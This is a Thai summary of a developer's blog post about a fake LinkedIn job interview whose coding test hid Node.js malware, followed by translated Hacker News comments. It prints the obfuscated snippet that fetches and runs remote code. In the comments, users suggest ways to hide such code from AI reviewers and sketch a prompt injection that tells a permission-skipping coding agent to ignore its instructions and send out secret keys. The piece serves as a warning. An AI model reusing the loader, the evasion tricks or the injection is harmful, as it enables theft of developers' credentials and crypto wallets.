เรื่องราวเกือบถูกแฮ็กเพราะ ‘สัมภาษณ์งาน’
(blog.daviddodda.com)- นักพัฒนาฟรีแลนซ์คนหนึ่งรอดหวุดหวิด หลังพบว่า มัลแวร์ที่ปลอมตัวเป็นแบบทดสอบเขียนโค้ด ซ่อนอยู่ใน การสัมภาษณ์งานปลอมที่วางแผนมาอย่างแยบยล เพียง 30 วินาทีก่อนจะรันมัน
- ผู้โจมตีสวมรอยเป็น CBO ของบริษัทบล็อกเชนที่มีอยู่จริง และใช้ โปรไฟล์ LinkedIn ที่มีคอนเนกชันมากกว่า 1,000 ราย พร้อมคลังเก็บบน Bitbucket ที่ดูเป็นมืออาชีพเพื่อสร้างความน่าเชื่อถือ
- ในโค้ดเบส React/Node ที่ส่งมา มี มัลแวร์ที่ถูกทำให้อ่านยากด้วยอาร์เรย์ไบต์ ซ่อนอยู่ในเซิร์ฟเวอร์คอนโทรลเลอร์ ซึ่งถูกออกแบบให้ ขโมยสินทรัพย์ดิจิทัลทั้งหมด เช่น กระเป๋าเงินคริปโต ไฟล์ และรหัสผ่าน เมื่อรันด้วยสิทธิ์แอดมิน
- ก่อนรันโค้ด นักพัฒนาขอให้ Cursor ตรวจโค้ดต้องสงสัย จึงพบมัลแวร์ และยังพบว่า URL สำหรับแจกจ่ายมัลแวร์นั้นถูกลบออกพอดีหลังผ่านไป 24 ชั่วโมง แสดงให้เห็นถึง ระบบทำลายหลักฐาน
- การโจมตีนี้เป็นตัวอย่างคลาสสิกของ social engineering ที่ใช้ เทคนิคการชักจูงทางจิตวิทยา อย่างความเร่งด่วน อำนาจ ความคุ้นเคย และ social proof
- เรื่องนี้เตือนว่า นักพัฒนาควร บังคับใช้การตรวจใน sandbox และยืนยันตัวตน/รีโพซิทอรีก่อนรันโค้ดจากภายนอกทุกครั้ง พร้อมชี้ให้เห็นว่ากลวิธีนี้อาจสร้างความเสียหายในวงกว้างได้
จุดเริ่มต้นของการโจมตีและวิธีเข้าถึง
- ผู้เขียนเป็นนักพัฒนาฟรีแลนซ์ที่มีประสบการณ์ 8 ปี ปกติระมัดระวังเรื่องความปลอดภัยจนแทบเข้าขั้นหวาดระแวง แต่ครั้งนี้ก็เกือบถูกหลอก
- เขาได้รับ ข้อความทาง LinkedIn จากบุคคลที่อ้างตัวว่าเป็น Mykola Yanchii หัวหน้าฝ่ายบล็อกเชนของ Symfa
- เป็นบริษัทจริง มีโปรไฟล์ LinkedIn จริง และมีคอนเนกชันมากกว่า 1,000 ราย
- ข้อความมีความเป็นมืออาชีพและลื่นไหล เช่น “กำลังพัฒนาแพลตฟอร์ม BestCity สำหรับเปลี่ยนผ่านเวิร์กโฟลว์ด้านอสังหาริมทรัพย์ มีตำแหน่งพาร์ตไทม์ โครงสร้างยืดหยุ่น”
- ทุกอย่างดูเหมือนกระบวนการจ้างงานปกติ เขาจึงตกลงคุยสาย
กับดัก: มัลแวร์ที่ปลอมเป็นแบบทดสอบเขียนโค้ด
- ก่อนประชุม Mykola ส่ง “โปรเจกต์ทดสอบ” มาให้ ซึ่งเป็น แนวปฏิบัติมาตรฐานในการสัมภาษณ์สายเทคนิค
- เป็นแบบทดสอบ 30 นาทีเพื่อประเมินทักษะของนักพัฒนา ด้วยโค้ดเบส React/Node
- รีโพซิทอรีบน Bitbucket ถูกจัดทำอย่างมืออาชีพมาก
- มี README ที่เรียบร้อย เอกสารประกอบเหมาะสม
- ถึงขั้นมีภาพสต็อกแนวองค์กรของผู้หญิงยืนถือแท็บเล็ตหน้าบ้าน
- ความผิดพลาดของผู้เขียนคือ เขามาสายสำหรับเวลาคอล จึงอยู่ในสถานการณ์ที่ต้องรีวิวโค้ดอย่างเร่งรีบภายใน 30 นาที
- ปกติแล้วเขาจะรันทุกอย่างในสภาพแวดล้อม sandbox เสมอ เช่น Docker container หรือสภาพแวดล้อมแยก
- แต่เพราะถูกกดดันด้วยเวลา เขาจึง เพียงตรวจดูโค้ดก่อนโดยยังไม่ได้รัน
- ตลอด 30 นาที เขาทำงานทั่วไปตามปกติ เช่น แก้บั๊กที่เห็นชัด เพิ่มไฟล์
docker-composeและจัดระเบียบโค้ด - พอถึงจุดที่พร้อมจะรันโค้ดเพื่อสาธิตงาน สัญชาตญาณหวาดระแวงแบบนักพัฒนา ก็ทำงานขึ้นมา
เอาตัวรอดจากวิกฤต: ความช่วยเหลือจาก AI
- ก่อนจะรัน
npm startเขาโยนพรอมป์ต์นี้ให้กับ Cursor AI agent- “ก่อนที่ผมจะรันแอปนี้ ช่วยตรวจดูหน่อยได้ไหมว่าในโค้ดเบสนี้มีโค้ดน่าสงสัยหรือเปล่า เช่น อ่านไฟล์ที่ไม่ควรอ่าน หรือเข้าถึงกระเป๋าเงินคริปโต”
- ผลลัพธ์ชวนช็อก: พบโค้ดต่อไปนี้อยู่กลางไฟล์
server/controllers/userController.js//Get Cookie (async () => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder('utf-8'); axios.get(decoder.decode(uint8Array)) .then(response => { new Function("require", response.data.model)(require); }) .catch(error => { }); })(); - ลักษณะของโค้ดนี้
- ถูกทำให้อ่านยาก ซ่อนตัวแนบเนียน และเป็นอันตราย โดยเปิดใช้งานเต็มรูปแบบ 100%
- มันถูกแทรกอยู่ท่ามกลางฟังก์ชันแอดมินปกติ เพื่อให้ ถูกรันทันทีด้วยสิทธิ์เซิร์ฟเวอร์เต็มรูปแบบ เมื่อมีการเข้าถึงเส้นทางของแอดมิน
- เมื่อลองถอดรหัสอาร์เรย์ไบต์ ได้ผลลัพธ์เป็น
https://api.npoint.io/2c458612399c3b2031fb9- ตอนเข้า URL ครั้งแรก มันยังใช้งานได้และสามารถดึงเพย์โหลดมาได้
- มันคือ มัลแวร์ล้วนๆ ที่ออกแบบมาเพื่อขโมยสินทรัพย์ดิจิทัลทุกอย่าง เช่น กระเป๋าเงินคริปโต ไฟล์ และรหัสผ่าน
- ข้อเท็จจริงสำคัญคือ URL นี้ถูกลบ ตรงเวลา 24 ชั่วโมงพอดี แสดงว่าผู้โจมตีมีโครงสร้างพื้นฐานสำหรับเผาทำลายหลักฐานอย่างรวดเร็ว
- เมื่อนำเพย์โหลดไปวิเคราะห์ใน VirusTotal ก็ยืนยันได้ว่าเป็นมัลแวร์จริง
ปฏิบัติการโจมตีที่เป็นระบบ
- นี่ไม่ใช่การหลอกลวงระดับสมัครเล่น แต่เป็น ปฏิบัติการที่ซับซ้อนอย่างมาก
- โปรไฟล์ LinkedIn
- Mykola Yanchii ดูเหมือนของจริง 100%
- มีตำแหน่งหัวหน้าฝ่ายบล็อกเชน พร้อมประวัติการทำงานที่เหมาะสม
- มีโพสต์แนว LinkedIn ทั่วไปเกี่ยวกับ “นวัตกรรม” และ “ที่ปรึกษาด้านบล็อกเชน” ครบถ้วน
- การปลอมตัวเป็นบริษัท
- Symfa มีหน้า LinkedIn ของบริษัทครบถ้วน
- มีแบรนดิ้งแบบมืออาชีพ มีพนักงานหลายคน และมีโพสต์เกี่ยวกับ “การปฏิวัติวงการอสังหาริมทรัพย์ด้วยบล็อกเชน”
- ยังสร้างเครือข่ายเพจที่เกี่ยวข้องและเครือข่ายผู้ติดตามไว้ด้วย
- วิธีการเข้าหา
- ในการติดต่อครั้งแรก แทบไม่มีสัญญาณเตือนเลย
- ใช้ภาษามืออาชีพ ขอบเขตโปรเจกต์ก็ดูสมเหตุสมผล
- ถึงขั้นใช้ Calendly สำหรับนัดเวลา
- การวางเพย์โหลด
- มัลแวร์ถูก วางไว้เชิงกลยุทธ์ ในเซิร์ฟเวอร์คอนโทรลเลอร์
- ถูกออกแบบให้รันด้วย สิทธิ์ Node.js เต็มรูปแบบ เมื่อมีการเข้าถึงฟังก์ชันแอดมิน
เทคนิคชักจูงทางจิตวิทยา
- องค์ประกอบที่ทำให้การโจมตีนี้อันตรายมีดังนี้
- ความเร่งด่วน (Urgency)
- “เพื่อประหยัดเวลา กรุณาทำแบบทดสอบให้เสร็จก่อนประชุม”
- อำนาจ (Authority)
- โปรไฟล์ LinkedIn ที่ดูน่าเชื่อถือ บริษัทจริง และการจัดฉากอย่างมืออาชีพ
- ความคุ้นเคย (Familiarity)
- เป็นแบบทดสอบเขียนโค้ดแบบ take-home ตามมาตรฐาน
- เป็นรูปแบบที่นักพัฒนาทุกคนเจอมาหลายสิบครั้ง
- social proof
- มีหน้าองค์กรจริง พร้อมพนักงานจริงและคอนเนกชันจริง
- แม้แต่ผู้เขียนเองที่ระวังเรื่องความปลอดภัยมาก ก็ยังเกือบถูกหลอก
บทเรียนที่ได้
- พรอมป์ต์ AI ง่ายๆ เพียงครั้งเดียว ช่วยเขาไว้จากหายนะ
- ไม่ใช่เครื่องมือความปลอดภัยขั้นสูง และไม่ใช่แอนติไวรัสราคาแพง
- แค่ขอให้ coding assistant ช่วยหาแพตเทิร์นน่าสงสัย ก่อนรันโค้ดที่ไม่รู้ที่มา
- สิ่งที่น่ากลัวคือ เวกเตอร์การโจมตีนี้ เหมาะกับนักพัฒนาอย่างสมบูรณ์แบบ
- นักพัฒนาดาวน์โหลดและรันโค้ดทั้งวัน
- ไม่ว่าจะเป็นรีโพซิทอรี GitHub, แพ็กเกจ npm หรือ coding challenge
- และส่วนใหญ่ก็ไม่ได้รันทุกอย่างใน sandbox
- นี่คือ มัลแวร์ฝั่งเซิร์ฟเวอร์ ที่มีสิทธิ์ Node.js เต็มรูปแบบ
- จึงเข้าถึงได้ทุกอย่าง ทั้ง environment variables, การเชื่อมต่อฐานข้อมูล, ระบบไฟล์, กระเป๋าเงินคริปโต ฯลฯ
ขนาดและผลกระทบของการโจมตี
- หากปฏิบัติการที่ซับซ้อนแบบนี้กำลังเล็งเป้านักพัฒนาในวงกว้าง แล้วมีนักพัฒนากี่คนที่ติดไปแล้ว?
- ตอนนี้มีระบบ production กี่ระบบที่พวกเขาแทรกซึมเข้าไปแล้ว?
- การเล็งเป้าที่แม่นยำ
- นักพัฒนาคือเหยื่อในอุดมคติ
- ในคอมพิวเตอร์ของนักพัฒนามี กุญแจสู่ทั้งอาณาจักร อยู่: ข้อมูลรับรอง production, กระเป๋าเงินคริปโต, ข้อมูลลูกค้า
- การปลอมตัวอย่างมืออาชีพ
- ความน่าเชื่อถือจาก LinkedIn, โค้ดเบสที่สมจริง, กระบวนการสัมภาษณ์มาตรฐาน
- ความซับซ้อนทางเทคนิค
- การทำให้อ่านยากหลายชั้น, การส่งเพย์โหลดระยะไกล, dead man's switch, และการรันฝั่งเซิร์ฟเวอร์
- การติดเชื้อสำเร็จเพียงครั้งเดียวอาจคุกคามสิ่งต่อไปนี้
- การเจาะระบบ production ของบริษัทใหญ่
- การถือครองคริปโตมูลค่าหลายล้านดอลลาร์
- ข้อมูลส่วนตัวของผู้ใช้นับพันคน
บทสรุปและวิธีรับมือ
หากคุณเป็นนักพัฒนาและได้รับโอกาสงานจาก LinkedIn:
- 1. รันโค้ดที่ไม่รู้ที่มาทั้งหมดใน sandbox เสมอ
- ใช้ Docker container, VM หรืออะไรก็ได้
- อย่ารันบนเครื่องหลักโดยตรงเด็ดขาด
- 2. ใช้ AI สแกนหาแพตเทิร์นน่าสงสัย
- ใช้เวลาแค่ 30 วินาที
- แต่อาจช่วยรักษาชีวิตดิจิทัลของคุณทั้งชีวิตได้
- 3. ตรวจสอบทุกอย่าง
- โปรไฟล์ LinkedIn ที่ดูจริง ไม่ได้แปลว่าเป็นคนจริง
- บริษัทจริง ไม่ได้แปลว่าเป็นโอกาสจริง
- 4. เชื่อสัญชาตญาณตัวเอง
- ถ้าใครสักคนเร่งให้คุณรันโค้ด นั่นคือ สัญญาณเตือน
- การหลอกลวงนี้ซับซ้อนพอที่จะผ่านเครื่องจับ BS เบื้องต้นของผู้เขียนได้
- แต่ ช่วงเวลาแห่งความระแวงเพียงครั้งเดียวและพรอมป์ต์ AI ง่ายๆ ก็เปิดโปงการโจมตีทั้งหมดได้
- ครั้งหน้าถ้ามีใครส่ง “coding challenge” มาให้ จงนึกถึงเรื่องนี้ไว้
- กระเป๋าเงินคริปโตของคุณจะขอบคุณเอง
1 ความคิดเห็น
ความคิดเห็นจาก Hacker News
บทความนี้น่าสนใจมาก แต่ก็สลัดความรู้สึกไม่ได้ว่ามันเหมือนถูกเขียนโดย AI ลีลาการเขียนมันให้ความรู้สึกแบบนั้นพอดี แต่บางทีมันก็อาจไม่ใช่เรื่องที่ผมควรใส่ใจขนาดนั้นก็ได้ ผู้เขียนคงไม่มีเวลาพอจะเขียนเอง และเพราะแบบนั้นเราถึงได้รู้เรื่องประสบการณ์นี้อยู่ดี ถึงอย่างนั้นลึก ๆ ก็ยังรู้สึกเสียดายว่า ถ้าเจ้าตัวเขียนเองคงจะดีกว่าไหม แน่นอนว่าการคาดหวังให้คนอื่นสละเวลามาเขียนให้อ่านฟรี ๆ ก็อาจจะเกินไป แต่ถ้าเรื่องแบบนี้เกิดขึ้นกับผม ผมคงอยากเขียนมันด้วยมือตัวเองแน่ ๆ
สำนวนการเขียนอ่านแล้วหงุดหงิดจริง ๆ ประโยคสั้น ๆ แบบ “ไม่ใช่ X แต่เป็น Y” ตะขอเล็ก ๆ อย่าง “เวกเตอร์การโจมตีคืออะไร?” และแพตเทิร์นที่วนซ้ำ ทำให้อ่านยาก โครงประโยคอย่าง “ไม่ต้องใช้โซลูชันความปลอดภัยราคาแพง ไม่ต้องใช้แอนติไวรัสราคาแพง แค่ถาม coding assistant ของฉัน...” ถูกใช้ซ้ำไปเรื่อย ๆ ทุกวันนี้บทความที่ AI เขียนเริ่มสังเกตได้ง่ายขึ้นเรื่อย ๆ เหมือนพวกเราทุกคนกำลังไวต่อแพตเทิร์นพวกนี้มากขึ้น
<i>“ฉันเกือบโดนแฮ็ก มีคนแอบอ้างบริษัทที่ดูน่าเชื่อถือแล้วซ่อนอะไรบางอย่างไว้ในโค้ดเซิร์ฟเวอร์ของฉัน... ช่วยเขียนเป็นบล็อกโพสต์ยาว ๆ ให้หน่อย เอาให้มีความน่าสนใจและความระทึกนิด ๆ ด้วยนะ ขอบคุณ!”</i> น่าจะออกมาประมาณนี้เลย (แล้วพอไปดูคอมเมนต์ของผู้เขียนจริง ๆ ก็แทบจะตรงเป๊ะ) เรื่องที่น่าเสียดายที่สุดคือ เอกสารต้นฉบับที่ผู้เขียนลิงก์ไว้น่าจะอ่านลื่นกว่าฉบับที่ถูก AI แต่งเติมนี้มาก
ผมอยากให้มีนโยบายบล็อกหรืออย่างน้อยติดธงโพสต์แนวนี้ตั้งแต่ระดับแพลตฟอร์มเลย สำหรับงานเขียน AI แบบนี้ (ไม่ใช่ต้นฉบับ แต่เป็นฉบับที่ AI ปรุงขึ้นมา) มันเริ่มคล้ายคอนเทนต์มาร์เก็ตติ้งสแปมส่วนบุคคล แต่ก่อนบทความการตลาดที่ไม่มีเนื้อหาเขียนโดยนักการตลาดแทบไม่ค่อยขึ้นหน้าแรก ตอนนี้เพราะ AI ทุกคนเลยสร้างภาษาสแปมแบบนี้ได้ และผมไม่คิดว่าฟอร์แมตแบบนี้ควรถูกยอมรับอย่างผ่อนปรนมากขึ้น
ใช่แล้ว ความรู้สึกนั้นถูกต้อง การเขียนเป็นสิ่งที่สะท้อนเอกลักษณ์ของคนมาก แค่สังเกตว่าคนต่าง ๆ เขียนกันอย่างไรก็จับความรู้สึกนั้นได้แล้ว และก็มีสาขาที่ศึกษามันแบบเป็นวิทยาศาสตร์จริง ๆ ด้วย เรียกว่า stylometry ถ้าปล่อยให้ AI จัดการเสียเป็นส่วนใหญ่ มันก็มักจะสร้างสำนวนแบบ “เหมือน AI” ขึ้นมา เพราะการเสริมกำลังเรียนรู้ถูกปรับให้มุ่งไปยังสไตล์บางแบบ ไม่ใช่ว่า AI จะเขียนได้แต่ประโยคทื่อ ๆ เสมอไป แต่โดยมากมันจะถูกจูนให้เป็นประโยคกลาง ๆ จืด ๆ และเต็มไปด้วย hook เชย ๆ การแก้ไวยากรณ์หรือเกลาข้อความ AI ทำได้สบาย แต่สุดท้ายมันควรยังให้ความรู้สึกว่าเป็น ‘งานเขียนของฉัน’ อยู่ดี พูดตรง ๆ คือ ต่อให้ภาษาอังกฤษไม่ได้ยอดเยี่ยมมากก็เขียนบล็อกโพสต์ดี ๆ ได้อยู่แล้ว เลยรู้สึกเสียดายที่คนพึ่ง AI กันมากขึ้น แน่นอน การเขียนใช้เวลามาก ผมเองก็มีโพสต์ในบล็อกไม่กี่ชิ้น แต่มันก็คุ้มค่าที่จะลงทุน p.s. จริง ๆ ก็น่าจะมีคนไม่น้อยที่ถูกเข้าใจผิดว่าใช้ AI ทั้งที่ไม่ได้ใช้ บางคนก็อาจเขียนออกมาในสไตล์คล้าย AI โดยบังเอิญ เรื่องนี้อาจชวนไม่สบายใจ แต่แก่นสำคัญไม่ใช่แค่ข้อกล่าวหาว่า “ใช้ AI” ทว่าเป็นเพราะสไตล์แบบนั้นมันไม่ค่อยโดนใจ ถ้าเป็นผลลัพธ์ที่คอมพิวเตอร์สร้างขึ้นมาแต่ไม่มีการระบุหรืออธิบายใด ๆ ความผิดหวังก็ยิ่งมากขึ้น ฟังดูอาจเหมือนวิจารณ์แรง แต่ไม่ได้โจมตีเป็นการส่วนตัว บางครั้งก็ต้องพูดกันตรง ๆ (ไม่ได้คิดว่าบทความนี้แย่มากขนาดนั้น แต่ก็มีกลิ่นความเชยอยู่นิดหน่อย)
ถูกต้องเลย ในคอมเมนต์หนึ่งของผมมีทั้งร่างแรกและพรอมป์ต์อยู่ ตอนนี้ที่บริษัทผมกำลังเปิดตัวผลิตภัณฑ์ใหม่ เลยแทบไม่มีเวลาเขียนอะไรเลย เพราะความซับซ้อนของ ‘ชีวิต’ ผมมีเวลาให้มันแค่นิดเดียว ขอบคุณที่เข้าใจ
ผมไปเจอบัญชีใช้นามแฝงใน LinkedIn ชื่อ "Mykola Yanchii" ซึ่งดูไม่เหมือนของจริงเลย ถ้ากด "ดูเพิ่มเติม" → "ข้อมูลโปรไฟล์นี้" จะเจอจุดน่าสงสัยเต็มไปหมด เช่น สมัครเมื่อเดือนพฤษภาคม 2025 ภายใน 6 เดือนก็อัปเดตทั้งข้อมูลติดต่อและรูปโปรไฟล์ บัญชีนี้มีป้ายยืนยันตัวตนของ LinkedIn ด้วย โดยบอกว่ายืนยันผ่าน Persona ซึ่งยิ่งทำให้ผมสงสัยว่าอาจเป็นเพราะตัวบริการ Persona เองมีช่องโหว่ร้ายแรงหรือปัญหาความปลอดภัยอะไรบางอย่าง จนทำให้อาชญากรไซเบอร์ใช้ป้ายยืนยันนั้นมาหลอกคนได้ สรุปคือ ถ้าบัญชีมีอายุไม่ถึงปี แต่ประวัติย้อนหลังดูเก่าเกินจริง แถมยังมี Persona verification ด้วย ผมแนะนำว่าอย่าไว้ใจเด็ดขาด https://www.linkedin.com/in/mykola-yanchii-430883368/overlay/about-this-profile/
เผื่อไว้ก่อนนะ ถ้าคลิกดูโปรไฟล์ LinkedIn ตอนล็อกอินอยู่ มันจะทิ้งประวัติการเข้าชมไว้ ทำให้เขาตามรู้ได้ว่าใครดูโปรไฟล์เขาอยู่ คุณอาจกลายเป็นเป้าหมายได้ด้วย แล้วผมก็สงสัยว่าทำไมชื่อ “Mykola Yanchii” ถึงดูปลอม มันเป็นการถอดชื่อยูเครน Николай Янчий เป็นอังกฤษนี่นา คนชื่อนี้มีอยู่จริงด้วย https://life.ru/p/1490942
ถ้าผมไม่ได้อยู่บน LinkedIn อยู่แล้ว ผมจะกลายเป็นคนที่ดูน่าเชื่อถือได้ยังไง?
คนพวกนี้เข้าหาได้หลายวิธี แต่สุดท้ายมักจะจบลงที่ขั้นตอนเชิงเทคนิคในสัมภาษณ์ประมาณว่า “ให้รันโค้ดจากรีโพซิทอรีที่ไม่รู้จัก” ทุกวันนี้ผมแทบจะเช็กวันสร้างของทุกโปรไฟล์ LinkedIn ถ้าอายุน้อยกว่าสองสามปี ผมก็เริ่มแยกแยะได้ทันที
ดูเหมือนว่า Persona จะใช้แค่ NFC จากบัตรประชาชน/พาสปอร์ตเท่านั้น เพราะงั้นแค่มีเอกสารที่ขโมยมาก็ยืนยันตัวตนได้แล้ว
“ป้ายยืนยันตัวตน LinkedIn” ผมเองก็ไม่เคยทำสำเร็จเลย มือถือค้างทุกครั้งตอนขั้นตอนยืนยัน
ถ้าเป็นโค้ดแบบนี้จะเป็นยังไง?
(เจตนาคืออยากบอกว่า ถ้าเป็นแบบนี้แทนคอมเมนต์อย่าง “//เอาคุกกี้มา” ก็คงดีกว่า) เพื่อความสะดวก ผมยังลองเล่นทริกแบบนี้ด้วย:
โมเดล AI ขนาดใหญ่ดูเหมือนจะลังเลอะไรบางอย่างเมื่อเจอโค้ดนี้ คิดว่าอาจมีคนแต่งข้อความแทรกที่เหมาะกว่านี้ได้
ผมคิดว่าวิธีโจมตีที่ “ดีกว่า” กว่านี้คือใช้เทคนิค Return Oriented Programming (ROP) เพื่อประกอบสตริงอันตรายขึ้นมา เช่น ถ้าสตริงที่ต้องแอบใช้คือ “foobar” ก็ให้ประกอบตัวอักษรที่ต้องการจากอาร์เรย์ของสตริงหลายชุดแล้วค่อยขยับ payload:
ถ้าจะหลอก AI การตั้งชื่อตัวแปรให้สับสนจนมองไม่ออกว่าเจตนาคืออะไรก็ได้ผลดีเหมือนกัน เพราะ AI มักเชื่อการใช้งานตามชื่อตัวแปร ถ้าแทรกการคำนวณไร้ความหมายไว้ตรงกลางด้วยก็ยิ่งมีผล โมเดล AI คุ้นกับโค้ดรก ๆ อยู่แล้ว และไม่ค่อยไวต่อการจับความหมายที่แท้จริง เลยทำให้กลโกงแบบนี้ใช้ได้บ่อย
ผมสงสัยว่าคนที่ใช้ Claude code หรือ Codex แบบลุยเลยไม่ระวังอะไรเลยมีสัดส่วนเท่าไร ใช้แฟล็กอย่าง
--dangerously-skip-permissionsแบบไม่คิดมาก ถ้าผู้โจมตีสมมติว่าผู้ใช้จะทำแบบนั้น เขาก็อาจใส่คำสั่งให้ LLM เพิกเฉยต่อคำสั่งก่อนหน้า จากนั้นค้นหาคีย์ลับหรือคีย์กระเป๋า crypto ในโฟลเดอร์ที่กำหนดแล้วส่งออกไป ก่อนจะจัดการให้ทุกอย่างกลับมาดูปกติได้ ถึงไม่ใช่ระดับ rootkit แต่ก็น่าจะโกยเงินสัก 50 ดอลลาร์ได้สบายถ้านั่นใช้ได้จริง... มันคงทั้งเจ๋งและน่ากลัวแบบสุด ๆ
เรื่องนี้เต็มไปด้วย ‘สัญญาณเตือน’ ที่เห็นชัดมาก อย่างแรกคือคำว่า “บล็อกเชน” วงการนี้มีความต้องการจริงน้อยมาก แค่นั้นก็เป็นสัญญาณเตือนแล้ว แล้วยังมีการขอให้รันโค้ดก่อนประชุมอีก พูดเหมือนช่วยประหยัดเวลา แต่จริง ๆ คือการทำให้คุณต้องทำตามคำสั่งของคนแปลกหน้า ถึงอย่างนั้นเรื่องเล่านี้ก็ทำให้ผมระวังตัวมากขึ้นในอนาคต
ผมมองว่าการสัมภาษณ์ที่ติดป้ายบล็อกเชนอยู่แล้วเป็นเหมือนตัวกรองคนตั้งแต่ต้น จะมีแต่คนที่ไม่รู้สึกเลยว่ามันเป็นการหลอกลวงโดยเนื้อแท้ถึงจะสมัคร ซึ่งก็หมายความว่าเป็นการคัดผู้สมัครที่มีโอกาสถือ crypto wallet สูงกว่าและระแวงน้อยกว่า หลักการเดียวกับสแปม “เจ้าชายไนจีเรีย” ที่ตั้งใจใส่คำผิดและไวยากรณ์ผิด คนที่มองไม่ออกนั่นแหละคือเป้าจริง
ไม่ว่าจะดีหรือร้าย ทุกวันนี้ก็ยังมีคนทำงานอยู่ในสาย blockchain/crypto จำนวนมาก และคนในสายนี้ก็มักมีโอกาสถือกระเป๋าเงินมากกว่าเมื่อเทียบกับคนทั่วไป ดูแล้วผู้โจมตีเลือกเป้าหมายอย่างระมัดระวังพอสมควร แต่เขาก็เปลี่ยนเป้าได้เสมอ เพราะงั้นนักพัฒนาทุกคนควรระวังตัว
แค่ได้ยินคำว่าบล็อกเชนผมก็ปัดตกทันทีแล้ว
เคยมีช่วงที่กระแสบล็อกเชนทำให้เกิดงานและเงินเดือนดี ๆ จริง แม้สิ่งที่พัฒนาจะไร้สาระ แปลกใหม่ หรือกระทั่งออกแนวกึ่งอาชญากรรม แต่ก็มีตำแหน่งเงินเดือนเกิน 300,000 ดอลลาร์จริง เช่น มีคนทำอะไรเพี้ยน ๆ อย่าง ‘เกมจำลองเลี้ยงมังกรสัตว์เลี้ยงสะสม’ แล้วก็ยังได้ VC ลงทุนจนมีเงินเดือนจ่ายให้ แน่นอนว่าคุณอาจต้องย้ายงานทุกหกเดือน และบางทีอาจกำลังช่วยทำให้โลกแย่ลง แต่ยังไงมันก็เป็นงาน
ถ้ามี “บริษัทบล็อกเชนที่ถูกกฎหมายขอให้ฉันรันโค้ดไม่ทราบที่มาบนพีซีของฉัน” ผมคงหยุดทันที สัญญาณเตือนดังทุกตัว ผมเริ่มรู้ตัวว่าช่วงนี้ตัวเองต้องคอมเมนต์เรื่องความไร้เดียงสาของผู้อ่าน HN บ่อยขึ้นเรื่อย ๆ
ผมเคยเห็นการสัมภาษณ์เบา ๆ ใน Discord ของ LLamaIndex เป็นการคุยก่อนเชื่อมต่อกับนักพัฒนาจริง ฝั่งมิจฉาชีพก็ใช้วิธีคล้ายกันเข้ามา แต่ผมไม่มีเหตุผลสมควรอะไรเลยที่จะต้องเข้าถึงแพ็กเกจหรือโค้ดนั้น ตอนนั้นผมแชร์หน้าจอผ่านรีโมตเดสก์ท็อปและเปิดให้ดูแค่โค้ดของผมเอง จากโค้ดเป็นแสนบรรทัด พวกเขาดูจริงแค่ราว 100 บรรทัด สุดท้ายตรงไหนสักแห่งตัวปลอมของมิจฉาชีพก็หลุดออกมา แล้วเขาก็เริ่มขู่ว่าจะเปิดเผยบางส่วนของโค้ดผมโดยอ้างว่าเป็น “ความลับ” แต่ผมหัวเราะเฉย ๆ เขายังพูดเพ้อว่าดูแค่วิดีโอสตรีมก็สร้างโค้ดผมกลับมาได้ ผมยิ่งหัวเราะหนักกว่าเดิม แล้วก็ปล่อยให้มิจฉาชีพหมดแรงไปเอง ถึงขั้นชวนผมเข้าร่วมองค์กรอาชญากรรมของเขาด้วย สุดท้ายผมก็ถามคำถามที่ผมถามมิจฉาชีพเสมอว่า: “ทำไมถึงไม่ไปทำงานปกติ แต่เลือกมาหลอกคนแบบนี้?” น่าประหลาดที่เขาจัดตาราง จัดสรรคน และทำหน้าที่แบบ ‘ผู้จัดการโครงการ’ ได้ดีทีเดียว ถ้าตัดเรื่องหลอกลวงออกไป ทักษะการทำงานจริงก็ถือว่าใช้ได้อยู่
แค่ประโยค “ปฏิวัติวงการอสังหาริมทรัพย์ด้วยบล็อกเชน” ก็เป็นสัญญาณเตือนเพียงพอแล้ว
เดี๋ยวนี้ถ้าเปลี่ยนเป็นพิตช์แบบ “ปฏิวัติวงการอสังหาริมทรัพย์ด้วย AI” น่าจะระดมทุน 10 ล้านดอลลาร์ได้สบาย ไม่ต้องเอาเหรียญมาเกี่ยวแล้ว
มีบริษัทหลายสิบแห่งที่พยายาม tokenize สินทรัพย์อสังหาริมทรัพย์และได้รับเงินลงทุนจริง ผมไม่รู้ว่ามันเป็นไอเดียที่ดีไหม แต่ก็มีคนที่ไปทำงานบริษัทพวกนั้นและได้เงินเดือนจริง
แค่ได้ยินว่า “ปฏิวัติวงการอสังหาริมทรัพย์ด้วยบล็อกเชน” ผมก็ไม่ไปต่อแล้ว
สำหรับบริษัท “บล็อกเชน” แบบนี้ ควรตั้งต้นด้วยการสมมติว่าเป็นการหลอกลวง ไม่ได้โทษเหยื่อนะ แต่ถ้าใครยังไม่รู้ความจริงข้อนี้ ก็คงเหมือนอยู่ในถ้ำมาหลายปี
ถ้าคนนี้ไปรันมัลแวร์แล้วถึงขั้นโอนกรรมสิทธิ์บ้านตัวเองออกไปได้ คิดภาพแล้วก็ขำไม่ออกเลย
มีคนที่เล็งเป้าหมายจากเธรด ‘Who Wants to Be Hired’ สำหรับนักพัฒนารุ่นจูเนียร์ แล้วติดต่อมาหาผม เขาทำเหมือนสนใจโปรเจกต์ของผมเพื่อเรียกความสนใจ ก่อนจะพยายามให้ติดตั้งมัลแวร์โดยอ้างว่าเป็นส่วนหนึ่งของการสัมภาษณ์
เหตุการณ์แบบนี้ทำให้ผมคิดว่า บางทีควรเพิ่มขั้นตอนสัมภาษณ์ที่คัดคนประเภท “พร้อมดาวน์โหลดทันที” ออกไปเลย ผมไม่อยากได้พนักงานที่ติดตั้งอะไรก็ได้แบบไม่สงสัย
แม้แต่ประกาศรับสมัครงานอย่าง ‘Who is hiring?’ ก็ยังมีของน่าสงสัยปนอยู่
ต้องเปิดเผยชื่อจริงและเตือนกันตรง ๆ ถึงจะช่วยป้องกันเหยื่อรายต่อไปได้
ที่ HN เองก็เคยมีกรณีรู้ว่าเป็นแฮ็กเกอร์ที่กำลังถูกตามล่าแต่ก็ยังปกปิดไว้บ้าง เพราะงั้นเรื่องนี้ก็ไม่ได้น่าแปลกใจนัก
